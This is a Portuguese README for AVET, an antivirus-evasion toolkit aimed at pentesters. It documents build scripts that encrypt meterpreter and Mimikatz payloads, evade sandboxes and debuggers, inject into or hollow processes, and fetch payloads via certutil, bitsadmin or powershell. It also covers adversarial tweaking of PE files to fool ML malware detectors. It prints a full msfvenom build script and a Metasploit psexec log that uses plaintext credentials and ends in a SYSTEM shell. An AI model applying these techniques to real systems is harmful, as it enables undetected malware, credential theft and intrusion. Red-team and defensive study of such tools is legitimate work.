
Ferramenta de Evasão de Antivírus
AVET é uma Ferramenta de Evasão de Antivírus, desenvolvida para facilitar a vida de pentesters e para experimentar técnicas de evasão de antivírus, bem como outros métodos usados por softwares maliciosos. Para uma visão geral dos novos recursos na v2.4, bem como incrementos de versões anteriores, consulte o arquivo CHANGELOG.
Nem todas as técnicas evadirão todos os mecanismos de antivírus. Se uma técnica ou script de build não funcionar, teste outra. Sinta-se à vontade para experimentar! Afinal, isso é uma caixa de ferramentas - mas você mesmo deve empunhar o martelo.
A Instrução de Instalação se aplica para Kali 64bit e tdm-gcc!
Você pode usar o script de setup:```bash ./setup.sh
Isso deve iniciar automaticamente instalando/configurando wine e instalando tdm-gcc.
Em breve você terá que clicar na interface gráfica do instalador do tdm-gcc - as configurações padrão devem estar boas.
O script também perguntará se você deseja instalar as dependências do AVET, que são necessárias para usar alguns scripts de compilação. As dependências baixadas serão colocadas em pastas separadas ao lado da pasta avet.
As dependências baixarão as versões mais recentes de:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
Se por algum motivo você quiser instalar wine e tdm-gcc manualmente:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
Se você não estiver usando Kali ou não quiser instalar o Metasploit no seu sistema, você pode usar o Container Docker.
O container encapsula Metasploit e avet e as amostras serão criadas no seu diretório atual.
Também é possível usar um editor de texto gráfico como o gedit.
Construindo o container:```bash
sudo docker build -t avet:v0.1 .
Uso:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
Para uma melhor experiência, é recomendado criar um alias para isso.```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py é um pequeno utilitário Python que foi projetado para ajudá-lo no uso da ferramenta.
Ele lista todos os scripts atualmente presentes na pasta de build. Após selecionar um, você poderá percorrer o script linha por linha, tendo a oportunidade de modificar o conteúdo em tempo real.
Isso é especialmente útil, pois você pode definir novas variáveis LHOST e LPORT para o msfvenom cada vez que executar um script de build via fabric.
Você pode definir valores padrão de LHOST e LPORT no arquivo /build/global_connect_config.sh, que são usados se você não redefini-los.
Essas modificações são temporárias, o que significa que quaisquer alterações feitas não persistirão no script de build no disco.
A versão modificada é executada uma vez, e seu executável é construído.
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET da maneira normal
Claro que é possível executar todos os comandos passo a passo a partir da linha de comando. No entanto, na pasta "build" você encontrará scripts de construção pré-configurados para casos de uso relevantes.
Os próprios scripts de construção são escritos de forma que devem ser chamados de dentro do diretório avet.```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
Você pode definir os valores padrão de LHOST e LPORT para payloads do metasploit no arquivo /build/global_connect_config.sh, que são usados se você não redefinir.
Gere um executável de hollowing de processo de 32 bits em duas etapas (como em build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):
Primeiro, gere o payload de hollowing com AVET:
Segundo, construa o executável "dropper" que entrega o payload da primeira etapa via hollowing:
Assim, você obtém um payload meterpreter criptografado e verificado ambientalmente em duas camadas, inserido via hollowing em um processo de sua escolha. Embora as configurações no script de build sejam principalmente para fins de demonstração, há muita flexibilidade para personalizar seu executável gerado fazendo modificações simples no script de build.
Você pode trocar os métodos de recuperação de dados: em vez de compilar estaticamente a maioria dos dados no executável, você pode baixar seu payload de hollowing via powershell, baixar a chave de descriptografia via sockets, usar criptografia ou verificações ambientais diferentes, etc.
Ou tente adicionar mais camadas de evasão fazendo uma terceira iteração de build. Ou troque o payload. Quer usar o Mimikatz em vez disso? Converta-o em shellcode via https://github.com/hasherezade/pe_to_shellcode, e altere o payload no script de build.
Claro, você também pode projetar builds mais minimalistas, como executar shellcode não criptografado com apenas uma verificação ambiental, ou talvez 50 iterações de shikata sejam suficientes para atingir seu objetivo? Escolha/modifique os scripts de build de acordo com suas necessidades.
Abaixo, encontre uma lista de todos os scripts de build atualmente fornecidos. Os nomes devem dar uma dica sobre a funcionalidade de cada script. Para informações detalhadas, considere os comentários dentro dos scripts. Sinta-se à vontade para modificar/escrever seus próprios scripts de build para construir seu executável personalizado!
Estes métodos são compatíveis com todas as fontes de dados do AVET e podem ser usados como tal no script de build.
Alguns exemplos:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
Se os recursos forem ignorados/não utilizados, você deve especificar um comportamento semelhante ao NOP em vez disso:```
set_command_source no_data
set_command_exec no_command
Os dados são recuperados de um arquivo e são compilados estaticamente no executável gerado. Para que isso funcione, os dados devem ser fornecidos como um array no estilo C no momento da compilação, como``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
Os dados são compilados estaticamente no executável gerado,
recuperados do argumento especificado no script de compilação.
#### dynamic_from_file
Os dados são lidos de um arquivo em tempo de execução.
#### from_command_line_hex
Recupera dados de uma string hexadecimal no formato "11aabb22.." (da linha de comando).
#### from_command_line_raw
Recupera dados de um argumento da linha de comando. A string ASCII fornecida é interpretada como dados brutos em bytes.
#### download_certutil
Baixa dados de uma URI especificada, usando ```certutil.exe -urlcache -split -f```.
Salva o arquivo baixado no disco antes de ler os dados.
#### download_curl
Baixa os dados usando curl.
Salva o arquivo baixado no disco antes de ler os dados.
#### download_internet_explorer
Baixa dados de uma URL especificada, usando o Internet Explorer.
Salva o arquivo baixado no disco antes de ler os dados.
#### download_powershell
Baixa dados de uma URI especificada via powershell.
Salva o arquivo baixado no disco antes de ler os dados.
#### download_socket
Baixa os dados de uma URI especificada, usando sockets.
Os dados são lidos diretamente na memória, nenhum arquivo é salvo no disco.
#### download_bitsadmin
Baixa os dados usando o utilitário BITSAdmin do Windows.
Salva o arquivo baixado no disco antes de ler os dados.
### Métodos de execução de payload
Como executar/entregar o payload. Os métodos de injeção/hollowing exigem informações adicionais sobre o alvo da injeção, que podem ser fornecidas via ```set_payload_info_source <the_info>``` (veja os métodos de recuperação de dados).
#### exec_shellcode
Executa shellcode de 32 bits com uma ligação de função C.
#### exec_shellcode64
Executa shellcode de 64 bits com uma ligação de função C e VirtualProtect.
#### exec_shellcode_ASCIIMSF
Executa shellcode codificado em ASCIIMSF via ```call eax```.
#### hollowing32
Instancia um novo processo, remove a imagem original e insere o payload fornecido no novo processo.
O payload é uma imagem executável de 32 bits. Funciona em alvos de 32 bits.
#### hollowing64
Mesmo que hollowing32, mas usando payloads PE de 64 bits para processos alvo de 64 bits.
#### inject_dll
Injeta uma dll em um processo alvo, usando ```CreateRemoteThread```.
A injeção funciona para payloads de 32 bits em processos de 32 bits e para payloads de 64 bits em processos de 64 bits, respectivamente.
#### inject_shellcode
Injeta shellcode em um processo alvo, usando ```CreateRemoteThread```.
A injeção funciona para shellcode de 32 bits em processos de 32 bits e para shellcode de 64 bits em processos de 64 bits, respectivamente.
### Criptografia e Codificação
O AVET fornece codificadores para cada esquema, que podem ser aplicados no payload antes da compilação/entrega.
Na execução, o decodificador especificado então desofusca novamente o payload em tempo de execução.
Aqui está um exemplo RC4, onde a chave de descriptografia é recuperada da linha de comando em formato hexadecimal no momento da execução:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
Você também pode pular o recurso de codificação ao não codificar mais o shellcode e configurar:``` set_key_source no_data set_decoder none
#### xor
XOR rotativo, com suporte a chaves multibyte.
#### avet
Codificação personalizada, reinterpretando o formato ASCII.
#### rc4
Criptografia/descriptografia RC4, com comprimento de chave flexível.
### Evasão de depurador e sandbox
Estas são verificações ambientais realizadas antes da eventual codificação e execução do payload. Se um ambiente de execução desagradável for detectado (ex.: sandbox de antivírus), a execução é interrompida.
Atualmente, você pode enfileirar arbitrariamente até 10 verificações. O uso da mesma técnica múltiplas vezes é suportado. O limite da fila *EVASION_ARRAY_SIZE* pode, no entanto, ser facilmente modificado em *avet.c*.
#### verificação de depurador presente
Verifica com a função isDebuggerPresent() se um depurador está presente. Sai se verdadeiro.```
add_evasion is_debugger_present
Aguarda por um determinado tempo antes da execução. A duração (em segundos) pode ser especificada no script de construção, como```
add_evasion evasion_by_sleep 3
#### sleep by ping
Interrompe a execução do programa por segundos especificados, invocando um comando ping cronometrado contra o localhost.
O programa faz ping uma vez por segundo.```
add_evasion sleep_by_ping 4
Verificar se o sandbox utiliza fast forwarding para reduzir o tempo de verificação heurística. O tempo local e o sleep são usados.``` add_evasion check_fast_forwarding
#### get tickcount
Verificar se o sandbox utiliza fast forwarding para reduzir o tempo de verificação heurística. Uptime e sleep são usados.```
add_evasion get_tickcount
Obter nome de usuário e comparar com o nome de usuário fornecido. Sair se não corresponder.``` add_evasion has_username 'IEUser'
#### Messagebox
Criar uma Messagebox simples antes da execução. Se a Aritmética não for resolvida corretamente, o programa sai.```
add_evasion interaction_msg_box
Aguarde até que a entrada seja fornecida usando getchar.``` add_evasion interaction_getchar
#### pausa do sistema
Executa system("pause"), fazendo com que o cmd gerado (e nosso processo principal) aguarde qualquer tecla pressionada.```
add_evasion interaction_system_pause
Verifica a existência de um arquivo. Se não for encontrado, interrompe a execução. O nome do arquivo pode ser especificado no script de construção, como``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### informações da BIOS
Verifica se é possível obter a tabela de firmware SMBIOS. Interrompe a execução se não for.```
add_evasion get_bios_info
Tente resolver um hostname de sua escolha. Se gethostbyname retornar diferente de NULL, pare a execução. O hostname a ser verificado pode ser especificado no script de compilação, como``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
Verifica o número de núcleos de CPU no alvo. Se o número for menor que o valor especificado, interrompe a execução.```
add_evasion get_cpu_cores 2
Verifica prefixos MAC específicos de fornecedor. Se algum for identificado, interrompe a execução.``` add_evasion has_vm_mac
#### has_vm_regkey
Verifica chaves de registro específicas do fornecedor. Se alguma for identificada, interrompe a execução.```
add_evasion has_vm_regkey
Não é realmente uma técnica de evasão, mas esconde sua janela do console ;)``` add_evasion hide_console
#### Data de Instalação
Buscar a data de instalação do Windows e compará-la com a especificada. Se as datas não coincidirem, interromper a execução. A data precisa ser especificada no formato dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'
Conte o número de processos em execução. Se o número de processos for menor que o limite fornecido, pare a execução.``` add_evasion get_num_processes 50
#### Navegador Padrão
Lê a chave do registo para obter o navegador padrão. Se o navegador não corresponder ao valor fornecido, interrompe a execução. Os valores possíveis são MSEdgeHTM, Firefox ou ChromeHTML.```
add_evasion get_standard_browser 'Firefox'
Consulta o domínio DNS em que o alvo está. Se o alvo não estiver no domínio esperado conforme especificado, o programa encerra.``` add_evasion get_computer_domain 'domain.com'
#### Computação
Fibonacci
Calcula iterações especificadas da série de Fibonacci.
Provavelmente produzirá resultados falsos para n maior devido a limites de inteiros.```
# 10 iterations
add_evasion computation_fibonacci 10
Timed Fibonacci
Interrompe as computações de Fibonacci após aproximadamente o número especificado de segundos.```
add_evasion computation_timed_fibonacci 20
#### Pastas e mais
Verifique se o Artefato existe, se não pare a execução. Os caminhos devem estar no estilo Unix.
Papel de parede de fundo:```
add_evasion has_background_wp
Verificar se a pasta existe:``` add_evasion has_folder 'C:/Users/user/Downloads/'
Verificar Desktop Público:```
add_evasion has_public_desktop
Verificar a Lixeira``` add_evasion has_recycle_bin
Verificar pasta de arquivos recentes```
add_evasion has_recent_files
Verificar unidade de rede``` add_evasion has_network_drive
### Execução adicional de comando
Concede a você a capacidade de executar um payload adicional de cmd/powershell diretamente após as eventuais funções de evasão de sandbox.
A fonte do payload é compatível com os métodos de recuperação de dados do AVET.
O exemplo seguinte baixa um payload do powershell via BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
Recebe dados brutos de um arquivo, converte-os para o formato de array C e escreve a saída em outro arquivo. Isso ajuda a fornecer o formato correto para o método de recuperação de dados static_from_file.
Utilitário de geração de chaves. Gera uma chave aleatória (não criptograficamente segura) ou recebe uma chave predefinida como entrada e gera os dados brutos da chave em um arquivo especificado. Isso ajuda a fornecer material de chave para o recurso de criptografia do AVET.
Utilitário do AVET 1.3 que realiza a codificação AVET.
O AVET é compatível com o módulo psexec do metasploit. Para isso, o executável gerado precisa ser compilado como um Serviço do Windows, o que é implementado usando avetsvc.c. Considere o script de build de exemplo correspondente
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
E do lado do metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
Exemplos adversariais são entradas especificamente criadas com o propósito de induzir modelos de aprendizado de máquina a classificar erroneamente.
Para usar este método, crie um ambiente virtual e instale as dependências necessárias do requirements.txt.
Cinco manipulações que preservam a funcionalidade para arquivos PE estão disponíveis:

Para aplicar a manipulação prática ao malware com bytes aleatórios injetados, use o comando gen_adversarial_exe seguido pelo nome da manipulação prática e o caminho para o arquivo como parâmetros.
As manipulações disponíveis são full_dos, extend, shift, padding, section_injection.
Por exemplo:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### Otimização Genética
Em vez de injetar conteúdo aleatório, é possível otimizar o conteúdo para obter maior probabilidade de evasão.
O otimizador extrai seções benignas de goodware e usa um algoritmo genético para otimizar o conteúdo injetado.
O conteúdo é otimizado contra o MalConv, que é um detector estático baseado em aprendizado de máquina, baseado em uma rede neural convolucional.
A implementação do MalConv utilizada é da biblioteca [SecML Malware](https://github.com/pralab/secml_malware).
Goodware é necessário e deve ser colocado na pasta `input/goodware_samples`.
O [DikeDataset](https://github.com/iosifache/DikeDataset), por exemplo, é uma boa fonte para obter arquivos executáveis benignos. Quanto mais, melhor, mas 100 é suficiente para fins de teste.
Para usar o otimizador, utilize o comando `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
Opções possíveis:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
Mais sobre exemplos adversariais, otimização genética e MalConv podem ser lidos aqui:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)
## More
---
Para noções básicas sobre evasão de antivírus, AVET e mais informações, dê uma olhada aqui (principalmente para a versão 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)